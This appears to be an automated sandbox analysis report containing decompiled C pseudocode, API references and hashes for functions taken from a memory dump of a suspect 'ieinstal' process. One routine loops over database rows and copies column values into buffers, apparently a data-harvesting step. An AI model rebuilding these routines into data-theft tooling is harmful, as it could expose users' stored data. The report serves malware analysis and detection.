                                                                                                                            0x0040d400
                                                                                                                            0x0040d406
                                                                                                                            0x0040d2d9
                                                                                                                            0x0040d2de
                                                                                                                            0x0040d2e5
                                                                                                                            0x0040d2ea
                                                                                                                            0x0040d2f1
                                                                                                                            0x0040d300
                                                                                                                            0x0040d30b
                                                                                                                            0x0040d313
                                                                                                                            0x0040d31b
                                                                                                                            0x0040d328
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d333
                                                                                                                            0x0040d3d8
                                                                                                                            0x0040d3dc
                                                                                                                            0x0040d3de
                                                                                                                            0x0040d3df
                                                                                                                            0x0040d3e3
                                                                                                                            0x0040d3e6
                                                                                                                            0x0040d3eb
                                                                                                                            0x0040d3eb
                                                                                                                            0x00000000
                                                                                                                            0x0040d3dc
                                                                                                                            0x0040d339
                                                                                                                            0x0040d347
                                                                                                                            0x0040d34f
                                                                                                                            0x0040d35b
                                                                                                                            0x0040d360
                                                                                                                            0x0040d367
                                                                                                                            0x0040d36b
                                                                                                                            0x0040d370
                                                                                                                            0x0040d37e
                                                                                                                            0x0040d38a
                                                                                                                            0x0040d372
                                                                                                                            0x0040d376
                                                                                                                            0x0040d376
                                                                                                                            0x0040d370
                                                                                                                            0x0040d3a2
                                                                                                                            0x0040d3a8
                                                                                                                            0x0040d3b6
                                                                                                                            0x0040d3bc
                                                                                                                            0x0040d3d2
                                                                                                                            0x0040d3d2
                                                                                                                            0x00000000
                                                                                                                            0x0040d3ee
                                                                                                                            0x0040d3ee
                                                                                                                            0x0040d3f2
                                                                                                                            0x0040d3f6
                                                                                                                            0x00000000
                                                                                                                            0x0040d2de

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                                                                                                                            • String ID: 0$6
                                                                                                                            • API String ID: 4066108131-3849865405
                                                                                                                            • Opcode ID: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                                                            • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                                                                                                                            • Opcode Fuzzy Hash: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                                                            • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 54%
                                                                                                                            			E004082C7(void* __ecx, signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v12;
				char _v16;
				char _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				int _v84;
				int _v88;
				int _v92;
				int _v96;
				int _v100;
				int _v104;
				char _v1128;
				char _v2152;
				char _v3176;
				char _v4200;
				void _v5224;
				void _v6247;
				int _v6248;
				void _v7279;
				char _v7280;
				void _v8303;
				int _v8304;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t81;
				void* _t85;
				void* _t109;
				void* _t134;
				int _t135;
				void* _t140;
				signed int _t173;
				void* _t174;
				void* _t177;
				void* _t181;
				void* _t183;
				void* _t184;
				void* _t186;

				_t173 = __edx;
				_t140 = __ecx;
				0x44db70();
				_t135 = 0;
				_v16 = 0;
				_v7280 = 0;
				memset( &_v7279, 0, 0x400);
				E0040A6E6(_a12,  &_v7280);
				_t81 =  &_v7280;
				0x444432(_t81,  &_v16, _t174, _t177, _t134);
				_t183 = _t181 + 0x1c;
				_t188 = _v16;
				if(_v16 != 0) {
					0x438552(_v16, E0040B273(_t140, _t188, 0x137),  &_v12,  &_v20);
					_t176 = _v12;
					_t85 = E004251C4(_t173, _v12);
					_t184 = _t183 + 0x14;
					while(_t85 == 0x64) {
						_v6248 = _t135;
						memset( &_v6247, _t135, 0x3ff);
						memset( &_v5224, _t135, 0x141c);
						_t186 = _t184 + 0x18;
						_v60 = E00425413();
						_push(6);
						_v64 = E00425413();
						_push(7);
						_v68 = E00425413();
						_push(4);
						_v44 = E00425413();
						_push(5);
						_v20 = E00425413();
						_push(2);
						_v12 = E00425413();
						_push(8);
						_v32 = E004253EF(_t176, _t173);
						_push(9);
						_v28 = _t173;
						_v40 = E004253EF(_t176, _t173);
						_push(0xa);
						_v36 = _t173;
						_v56 = E004253EF(_t176, _t173);
						_t109 = 0xb;
						_v52 = _t173;
						E0042287D(E0042533E(_t109, _t176));
						E0042538F(_t176);
						__eflags = _v32 | _v28;
						if((_v32 | _v28) == 0) {
							_v100 = _t135;
							_v104 = _t135;
						} else {
							E00407D2F( &_v104, _v32, _v28);
							_t135 = 0;
						}
						__eflags = _v40 | _v36;
						if((_v40 | _v36) == 0) {
							_v92 = _t135;
							_v96 = _t135;
						} else {
							E00407D2F( &_v96, _v40, _v36);
							_t135 = 0;
						}
						__eflags = _v56 | _v52;
						if((_v56 | _v52) == 0) {
							_v84 = _t135;
							_v88 = _t135;
						} else {
							E00407D2F( &_v88, _v56, _v52);
							_t135 = 0;
						}
						__eflags = _v60 - _t135;
						if(_v60 != _t135) {
							0x446676( &_v6248, _v60);
						}
						__eflags = _v64 - _t135;
						if(_v64 != _t135) {
							0x446676( &_v5224, _v64);
						}
						__eflags = _v68 - _t135;
						if(_v68 != _t135) {
							0x446676( &_v4200, _v68);
						}
						__eflags = _v44 - _t135;
						if(_v44 != _t135) {
							0x446676( &_v3176, _v44);
						}
						__eflags = _v20 - _t135;
						if(_v20 != _t135) {
							0x446676( &_v2152, _v20);
						}
						__eflags = _v12 - _t135;
						if(_v12 != _t135) {
							0x446676( &_v1128, _v12);
						}
						_v8304 = _t135;
						memset( &_v8303, _t135, 0x3ff);
						_t184 = _t186 + 0xc;
						E0040A6E6(_a8,  &_v8304);
						E00407E1E(_t173,  &_v6248, _a4, _a12, 0x23);
						_t85 = E004251C4(_t173, _t176);
					}
					E00424F26(_t176);
					_t81 = _v16;
					0x443d90();
				}
				return _t81;
			}

















































                                                                                                                            0x004082c7
                                                                                                                            0x004082c7
                                                                                                                            0x004082cf
                                                                                                                            0x004082d7
                                                                                                                            0x004082e6
                                                                                                                            0x004082e9
                                                                                                                            0x004082ef
                                                                                                                            0x00408301
                                                                                                                            0x0040830a
                                                                                                                            0x00408311
                                                                                                                            0x00408316
                                                                                                                            0x00408319
                                                                                                                            0x0040831c
                                                                                                                            0x00408339
                                                                                                                            0x0040833e
                                                                                                                            0x00408342
                                                                                                                            0x00408347
                                                                                                                            0x00408543
                                                                                                                            0x0040835c
                                                                                                                            0x00408362
                                                                                                                            0x00408377
                                                                                                                            0x0040837e
                                                                                                                            0x00408389
                                                                                                                            0x0040838c
                                                                                                                            0x00408396
                                                                                                                            0x00408399
                                                                                                                            0x004083a3
                                                                                                                            0x004083a6
                                                                                                                            0x004083b0
                                                                                                                            0x004083b3
                                                                                                                            0x004083bd
                                                                                                                            0x004083c0
                                                                                                                            0x004083ca
                                                                                                                            0x004083cd
                                                                                                                            0x004083d7
                                                                                                                            0x004083da
                                                                                                                            0x004083df
                                                                                                                            0x004083e7
                                                                                                                            0x004083ea
                                                                                                                            0x004083ef
                                                                                                                            0x004083f7
                                                                                                                            0x004083fc
                                                                                                                            0x004083ff
                                                                                                                            0x00408409
                                                                                                                            0x0040840e
                                                                                                                            0x00408416
                                                                                                                            0x00408419
                                                                                                                            0x0040842f
                                                                                                                            0x00408432
                                                                                                                            0x0040841b
                                                                                                                            0x00408424
                                                                                                                            0x0040842b
                                                                                                                            0x0040842b
                                                                                                                            0x00408438
                                                                                                                            0x0040843b
                                                                                                                            0x00408451
                                                                                                                            0x00408454
                                                                                                                            0x0040843d
                                                                                                                            0x00408446
                                                                                                                            0x0040844d
                                                                                                                            0x0040844d
                                                                                                                            0x0040845a
                                                                                                                            0x0040845d
                                                                                                                            0x00408473
                                                                                                                            0x00408476
                                                                                                                            0x0040845f
                                                                                                                            0x00408468
                                                                                                                            0x0040846f
                                                                                                                            0x0040846f
                                                                                                                            0x00408479
                                                                                                                            0x0040847c
                                                                                                                            0x00408488
                                                                                                                            0x0040848e
                                                                                                                            0x0040848f
                                                                                                                            0x00408492
                                                                                                                            0x0040849e
                                                                                                                            0x004084a4
                                                                                                                            0x004084a5
                                                                                                                            0x004084a8
                                                                                                                            0x004084b4
                                                                                                                            0x004084ba
                                                                                                                            0x004084bb
                                                                                                                            0x004084be
                                                                                                                            0x004084ca
                                                                                                                            0x004084d0
                                                                                                                            0x004084d1
                                                                                                                            0x004084d4
                                                                                                                            0x004084e0
                                                                                                                            0x004084e6
                                                                                                                            0x004084e7
                                                                                                                            0x004084ea
                                                                                                                            0x004084f6
                                                                                                                            0x004084fc
                                                                                                                            0x0040850a
                                                                                                                            0x00408510
                                                                                                                            0x00408515
                                                                                                                            0x00408522
                                                                                                                            0x00408537
                                                                                                                            0x0040853d
                                                                                                                            0x00408542
                                                                                                                            0x0040854c
                                                                                                                            0x00408551
                                                                                                                            0x00408554
                                                                                                                            0x00408554
                                                                                                                            0x0040855d

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004082EF
                                                                                                                              • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                            • memset.MSVCRT ref: 00408362
                                                                                                                            • memset.MSVCRT ref: 00408377
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$ByteCharMultiWide
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 290601579-0
                                                                                                                            • Opcode ID: 9fcfede22a014af3fd00fd09d6ecb3c0f5450144b585b651b49c2714cfacc533
                                                                                                                            • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                                                                                                                            • Opcode Fuzzy Hash: 9fcfede22a014af3fd00fd09d6ecb3c0f5450144b585b651b49c2714cfacc533
                                                                                                                            • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444E84 Relevance: 15.2, APIs: 8, Strings: 2, Instructions: 183COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memchrmemset
                                                                                                                            • String ID: PD$PD
                                                                                                                            • API String ID: 1581201632-2312785699
                                                                                                                            • Opcode ID: 6e8d3b6fa2ff374e13542a5a9ce1d141d502757749890083bc1aee29b95d613b
                                                                                                                            • Instruction ID: 10fb1f61a141a907ee6ef334180a592a84e160db04a0c58349e49e3250f7ff3f
                                                                                                                            • Opcode Fuzzy Hash: 6e8d3b6fa2ff374e13542a5a9ce1d141d502757749890083bc1aee29b95d613b
                                                                                                                            • Instruction Fuzzy Hash: 8D5192719002196BDF10EF69CC85EEEBBBCAF45304F0444ABE555E7246E738E648CBA4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00409F42 Relevance: 15.1, APIs: 10, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 82%
                                                                                                                            			E00409F42(void* __edx, struct HWND__* _a4) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				int _t47;
				long _t52;
				struct HDC__* _t54;
				intOrPtr _t56;
				struct HWND__* _t59;
				int _t62;
				intOrPtr _t63;
				void* _t64;
				int _t66;
				intOrPtr _t67;
				int _t73;

				_t64 = __edx;
				_v8 = 0;
				_v12 = 0;
				_t73 = GetSystemMetrics(0x11);
				_t66 = GetSystemMetrics(0x10);
				if(_t73 == 0 || _t66 == 0) {
					_t54 = GetDC(0);
					_t66 = GetDeviceCaps(_t54, 8);
					_t73 = GetDeviceCaps(_t54, 0xa);
					ReleaseDC(0, _t54);
				}
				GetWindowRect(_a4,  &_v44);
				_t59 = GetParent(_a4);
				if(_t59 != 0) {
					_v28.left = _v28.left & 0x00000000;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					GetWindowRect(_t59,  &_v28);
					_t52 = _v28.left;
					_t63 = _v28.top;
					_t66 = _v28.right - _t52 + 1;
					_t73 = _v28.bottom - _t63 + 1;
					_v8 = _t52;
					_v12 = _t63;
				}
				_t56 = _v44.right;
				_t67 = _v44.bottom;
				asm("cdq");
				asm("cdq");
				_t62 = (_v44.left - _t56 + _t66 - 1 - _t64 >> 1) + _v8;
				_t47 = (_v44.top - _t67 + _t73 - 1 - _t64 >> 1) + _v12;
				if(_t47 < 0) {
					_t47 = 0;
				}
				if(_t62 < 0) {
					_t62 = 0;
				}
				return MoveWindow(_a4, _t62, _t47, _t56 - _v44.left + 1, _t67 - _v44.top + 1, 1);
			}


















                                                                                                                            0x00409f42
                                                                                                                            0x00409f55
                                                                                                                            0x00409f58
                                                                                                                            0x00409f5f
                                                                                                                            0x00409f65
                                                                                                                            0x00409f67
                                                                                                                            0x00409f7a
                                                                                                                            0x00409f84
                                                                                                                            0x00409f8b
                                                                                                                            0x00409f8d
                                                                                                                            0x00409f8d
                                                                                                                            0x00409fa0
                                                                                                                            0x00409fab
                                                                                                                            0x00409faf
                                                                                                                            0x00409fb1
                                                                                                                            0x00409fba
                                                                                                                            0x00409fbb
                                                                                                                            0x00409fbc
                                                                                                                            0x00409fc2
                                                                                                                            0x00409fc4
                                                                                                                            0x00409fca
                                                                                                                            0x00409fd4
                                                                                                                            0x00409fd5
                                                                                                                            0x00409fd6
                                                                                                                            0x00409fd9
                                                                                                                            0x00409fd9
                                                                                                                            0x00409fdf
                                                                                                                            0x00409fe8
                                                                                                                            0x00409feb
                                                                                                                            0x00409ff9
                                                                                                                            0x00409ffe
                                                                                                                            0x0040a003
                                                                                                                            0x0040a006
                                                                                                                            0x0040a008
                                                                                                                            0x0040a008
                                                                                                                            0x0040a00c
                                                                                                                            0x0040a00e
                                                                                                                            0x0040a00e
                                                                                                                            0x0040a02b

                                                                                                                            APIs
                                                                                                                            • GetSystemMetrics.USER32(00000011), ref: 00409F5B
                                                                                                                            • GetSystemMetrics.USER32(00000010), ref: 00409F61
                                                                                                                            • GetDC.USER32(00000000), ref: 00409F6E
                                                                                                                            • GetDeviceCaps.GDI32(00000000,00000008), ref: 00409F7F
                                                                                                                            • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00409F86
                                                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 00409F8D
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00409FA0
                                                                                                                            • GetParent.USER32(?), ref: 00409FA5
                                                                                                                            • GetWindowRect.USER32(00000000,00000000), ref: 00409FC2
                                                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 0040A021
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2163313125-0
                                                                                                                            • Opcode ID: d78dd9667733c118ca5f823c40f75fbf68f042a28012a42387a4e68ecbaebf7d
                                                                                                                            • Instruction ID: e27d49e141fc924f5dc8bb17b5c2b7dfe0ac862298cc10f95babd1b5c1aaa95e
                                                                                                                            • Opcode Fuzzy Hash: d78dd9667733c118ca5f823c40f75fbf68f042a28012a42387a4e68ecbaebf7d
                                                                                                                            • Instruction Fuzzy Hash: 66318475A00209AFDF14CFB9CD85AEEBBB9FB48354F050579E901F3290DA70ED458A50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004028E7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 40%
                                                                                                                            			E004028E7(long long __fp0, wchar_t* _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				long long _v40;
				long long _v48;
				signed int _v52;
				intOrPtr _v56;
				signed int _v60;
				char _v64;
				int _t83;
				signed int _t84;
				signed int _t88;
				int _t92;
				int _t94;
				signed int _t97;
				signed int _t99;
				signed int _t117;
				signed short _t119;
				long long _t120;
				signed short* _t121;
				long long* _t122;
				long long _t156;
				long long _t162;

				_t156 = __fp0;
				_t83 = wcslen(_a4);
				asm("fldz");
				_v48 = __fp0;
				_t99 = 0;
				_t97 = 0;
				_v12 = _t83;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v36 = 0;
				_v56 = 0x20;
				_v64 = 0;
				_v52 = 0;
				_v60 = 0;
				if(_t83 <= 0) {
					L43:
					_v12 = _t99;
					_t84 = 0x1a;
					if(_v20 != _t99) {
						_v12 = _t84;
					}
					if(_v24 != _t99) {
						_v12 = _v12 + _t84;
					}
					if(_v28 != _t99) {
						_v12 = _v12 + 0xa;
					}
					if(_v32 != _t99) {
						_v12 = _v12 + 0x10;
					}
					if(_v16 != _t99) {
						_v12 = _v12 + 0x11;
					}
					if(_v36 != _t99) {
						_v12 = _v12 + 0x1e;
					}
					if(_v12 <= _t99) {
						if(_v64 != _t99) {
							0x4466a0(_v64);
						}
						return 0;
					} else {
						asm("fild dword [ebp-0x8]");
						 *_t122 = _t156;
						0x44664c(_t99, _t99);
						_v40 = _t156;
						 *_t122 =  *0x4575b8;
						0x44664c();
						asm("fdivr qword [ebp-0x24]");
						asm("fistp qword [ebp-0x2c]");
						_t120 = _v48;
						if(_v64 != 0) {
							0x4466a0(_v64);
						}
						return _t120;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					_t121 = _a4 + _t97 * 2;
					_t119 =  *_t121 & 0x0000ffff;
					_t88 = _t119 & 0x0000ffff;
					if(_t88 - 0x41 <= 0x19) {
						_v20 = _v20 + 1;
					}
					if(_t88 - 0x61 <= 0x19) {
						_v24 = _v24 + 1;
					}
					if(_t88 - 0x30 <= 9) {
						_v28 = _v28 + 1;
					}
					if(_t88 - 0x20 <= 0xf) {
						_v32 = _v32 + 1;
					}
					if(_t88 - 0x3a <= 6) {
						_v16 = _v16 + 1;
					}
					if(_t88 - 0x5b <= 5) {
						_v16 = _v16 + 1;
					}
					if(_t88 < 0x7b) {
						L16:
						if(_t88 <= 0x7e) {
							goto L18;
						}
						goto L17;
					} else {
						if(_t88 > 0x7e) {
							L17:
							_v36 = _v36 + 1;
							L18:
							if(_t97 != _t99) {
								if(_v52 <= 0) {
									L27:
									_t99 = _t99 | 0xffffffff;
									L28:
									if(_t99 < 0) {
										E00403940( &_v64, _t88);
										_t92 = abs(( *_t121 & 0x0000ffff) - ( *(_t121 - 2) & 0x0000ffff));
										if(_t92 != 1) {
											_t51 = _t92 - 2; // -2
											if(_t51 > 3) {
												if(_t92 < 6) {
													if(_t92 <= 0xa) {
														goto L42;
													}
													L40:
													_t156 = _v48 +  *0x4575c0;
													L41:
													_v48 = _t156;
													goto L42;
												}
												if(_t92 > 0xa) {
													goto L40;
												}
												_t156 = _v48 +  *0x4575c8;
												goto L41;
											}
											_t156 = _v48 +  *0x4575d0;
											goto L41;
										}
										_t162 = _v48;
										L30:
										_t156 = _t162 +  *0x4575e0;
										goto L41;
									}
									_t94 = abs((_t119 & 0x0000ffff) - ( *(_t121 - 2) & 0x0000ffff));
									_t162 = _v48;
									if(_t94 != 0) {
										_t156 = _t162 +  *0x4575d8;
										goto L41;
									}
									goto L30;
								}
								L21:
								L21:
								if(_t99 < 0 || _t99 >= _v52) {
									_t117 = 0;
								} else {
									_t117 =  *(_v64 + _t99 * 2) & 0x0000ffff;
								}
								if(_t117 == _t88) {
									goto L28;
								}
								_t99 = _t99 + 1;
								if(_t99 < _v52) {
									goto L21;
								}
								goto L27;
							}
							E00403940( &_v64, _t88);
							goto L40;
						}
						_v16 = _v16 + 1;
						goto L16;
					}
					L42:
					_t97 = _t97 + 1;
					_t99 = 0;
				} while (_t97 < _v12);
				goto L43;
			}






























                                                                                                                            0x004028e7
                                                                                                                            0x004028f3
                                                                                                                            0x004028f8
                                                                                                                            0x004028fb
                                                                                                                            0x004028fe
                                                                                                                            0x00402900
                                                                                                                            0x00402904
                                                                                                                            0x00402907
                                                                                                                            0x0040290a
                                                                                                                            0x0040290d
                                                                                                                            0x00402910
                                                                                                                            0x00402913
                                                                                                                            0x00402916
                                                                                                                            0x00402919
                                                                                                                            0x00402920
                                                                                                                            0x00402923
                                                                                                                            0x00402926
                                                                                                                            0x00402929
                                                                                                                            0x00402a68
                                                                                                                            0x00402a6d
                                                                                                                            0x00402a70
                                                                                                                            0x00402a71
                                                                                                                            0x00402a73
                                                                                                                            0x00402a73
                                                                                                                            0x00402a79
                                                                                                                            0x00402a7b
                                                                                                                            0x00402a7b
                                                                                                                            0x00402a81
                                                                                                                            0x00402a83
                                                                                                                            0x00402a83
                                                                                                                            0x00402a8a
                                                                                                                            0x00402a8c
                                                                                                                            0x00402a8c
                                                                                                                            0x00402a93
                                                                                                                            0x00402a95
                                                                                                                            0x00402a95
                                                                                                                            0x00402a9c
                                                                                                                            0x00402a9e
                                                                                                                            0x00402a9e
                                                                                                                            0x00402aa5
                                                                                                                            0x00402ae9
                                                                                                                            0x00402aee
                                                                                                                            0x00402af3
                                                                                                                            0x00000000
                                                                                                                            0x00402aa7
                                                                                                                            0x00402aa7
                                                                                                                            0x00402aac
                                                                                                                            0x00402aaf
                                                                                                                            0x00402ab4
                                                                                                                            0x00402abd
                                                                                                                            0x00402ac0
                                                                                                                            0x00402ac9
                                                                                                                            0x00402ad1
                                                                                                                            0x00402ad4
                                                                                                                            0x00402ad7
                                                                                                                            0x00402adc
                                                                                                                            0x00402ae1
                                                                                                                            0x00000000
                                                                                                                            0x00402ae2
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040292f
                                                                                                                            0x0040292f
                                                                                                                            0x00402932
                                                                                                                            0x00402935
                                                                                                                            0x00402938
                                                                                                                            0x00402942
                                                                                                                            0x00402944
                                                                                                                            0x00402944
                                                                                                                            0x0040294e
                                                                                                                            0x00402950
                                                                                                                            0x00402950
                                                                                                                            0x0040295a
                                                                                                                            0x0040295c
                                                                                                                            0x0040295c
                                                                                                                            0x00402966
                                                                                                                            0x00402968
                                                                                                                            0x00402968
                                                                                                                            0x00402972
                                                                                                                            0x00402974
                                                                                                                            0x00402974
                                                                                                                            0x0040297e
                                                                                                                            0x00402980
                                                                                                                            0x00402980
                                                                                                                            0x00402987
                                                                                                                            0x00402992
                                                                                                                            0x00402996
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00402989
                                                                                                                            0x0040298d
                                                                                                                            0x00402998
                                                                                                                            0x00402998
                                                                                                                            0x0040299b
                                                                                                                            0x0040299d
                                                                                                                            0x004029b1
                                                                                                                            0x004029d2
                                                                                                                            0x004029d2
                                                                                                                            0x004029d5
                                                                                                                            0x004029d7
                                                                                                                            0x00402a04
                                                                                                                            0x00402a13
                                                                                                                            0x00402a1c
                                                                                                                            0x00402a23
                                                                                                                            0x00402a29
                                                                                                                            0x00402a39
                                                                                                                            0x00402a4e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00402a50
                                                                                                                            0x00402a53
                                                                                                                            0x00402a59
                                                                                                                            0x00402a59
                                                                                                                            0x00000000
                                                                                                                            0x00402a59
                                                                                                                            0x00402a3e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00402a43
                                                                                                                            0x00000000
                                                                                                                            0x00402a43
                                                                                                                            0x00402a2e
                                                                                                                            0x00000000
                                                                                                                            0x00402a2e
                                                                                                                            0x00402a1e
                                                                                                                            0x004029f0
                                                                                                                            0x004029f0
                                                                                                                            0x00000000
                                                                                                                            0x004029f0
                                                                                                                            0x004029e3
                                                                                                                            0x004029ea
                                                                                                                            0x004029ee
                                                                                                                            0x004029f8
                                                                                                                            0x00000000
                                                                                                                            0x004029f8
                                                                                                                            0x00000000
                                                                                                                            0x004029ee
                                                                                                                            0x00000000
                                                                                                                            0x004029b3
                                                                                                                            0x004029b5
                                                                                                                            0x004029c5
                                                                                                                            0x004029bc
                                                                                                                            0x004029bf
                                                                                                                            0x004029bf
                                                                                                                            0x004029ca
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004029cc
                                                                                                                            0x004029d0
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004029d0
                                                                                                                            0x004029a3
                                                                                                                            0x00000000
                                                                                                                            0x004029a3
                                                                                                                            0x0040298f
                                                                                                                            0x00000000
                                                                                                                            0x0040298f
                                                                                                                            0x00402a5c
                                                                                                                            0x00402a5c
                                                                                                                            0x00402a5d
                                                                                                                            0x00402a5f
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$wcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 239872665-3916222277
                                                                                                                            • Opcode ID: f3663e8288db930de81c623903cc877f8ba593c01bc576138108ca37437480ac
                                                                                                                            • Instruction ID: 6c84a66137f0c35b9d0eb965e4703c645d554f15bb1c6f80accdbf0b715e4580
                                                                                                                            • Opcode Fuzzy Hash: f3663e8288db930de81c623903cc877f8ba593c01bc576138108ca37437480ac
                                                                                                                            • Instruction Fuzzy Hash: 78614A70E0421ADADF28AF95E6485EEB771FF04315F60807BE411B62D1EBB84981CB5D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 79%
                                                                                                                            			E0040A45A(short* __ebx, intOrPtr _a4, int _a8) {
				char _v8;
				void _v2054;
				void _v2056;
				char _t33;
				int _t37;
				int _t43;
				short* _t48;
				signed int _t49;
				short* _t50;
				signed int _t51;
				short _t52;
				void** _t54;
				void* _t55;
				void* _t56;

				_t48 = __ebx;
				_t52 = 0;
				_v2056 = 0;
				memset( &_v2054, 0, 0x7fe);
				_t3 =  &_a8; // 0x405659
				_t33 =  *_t3;
				_t56 = _t55 + 0xc;
				_t49 = 0;
				 *__ebx = 0;
				if(_t33 > 0) {
					_t54 = _a4 + 4;
					_v8 = _t33;
					do {
						0x4465cc( &_v2056, 0x400, "%s (%s)",  *((intOrPtr*)(_t54 - 4)),  *_t54);
						_t37 = wcslen( &_v2056);
						_a8 = _t37;
						memcpy(__ebx + _t49 * 2,  &_v2056, _t37 + _t37 + 2);
						_t15 =  &_a8; // 0x405659
						_t51 = _t49 +  *_t15 + 1;
						_t43 = wcslen( *_t54);
						_a8 = _t43;
						memcpy(__ebx + _t51 * 2,  *_t54, _t43 + _t43 + 2);
						_t23 =  &_a8; // 0x405659
						_t56 = _t56 + 0x34;
						_t54 =  &(_t54[2]);
						_t24 =  &_v8;
						 *_t24 = _v8 - 1;
						_t49 = _t51 +  *_t23 + 1;
					} while ( *_t24 != 0);
					_t52 = 0;
				}
				_t50 = _t48 + _t49 * 2;
				 *_t50 = _t52;
				 *((short*)(_t50 + 2)) = _t52;
				return _t48;
			}

















                                                                                                                            0x0040a45a
                                                                                                                            0x0040a465
                                                                                                                            0x0040a474
                                                                                                                            0x0040a47b
                                                                                                                            0x0040a480
                                                                                                                            0x0040a480
                                                                                                                            0x0040a483
                                                                                                                            0x0040a486
                                                                                                                            0x0040a48a
                                                                                                                            0x0040a48d
                                                                                                                            0x0040a492
                                                                                                                            0x0040a495
                                                                                                                            0x0040a498
                                                                                                                            0x0040a4ae
                                                                                                                            0x0040a4ba
                                                                                                                            0x0040a4bf
                                                                                                                            0x0040a4d2
                                                                                                                            0x0040a4d7
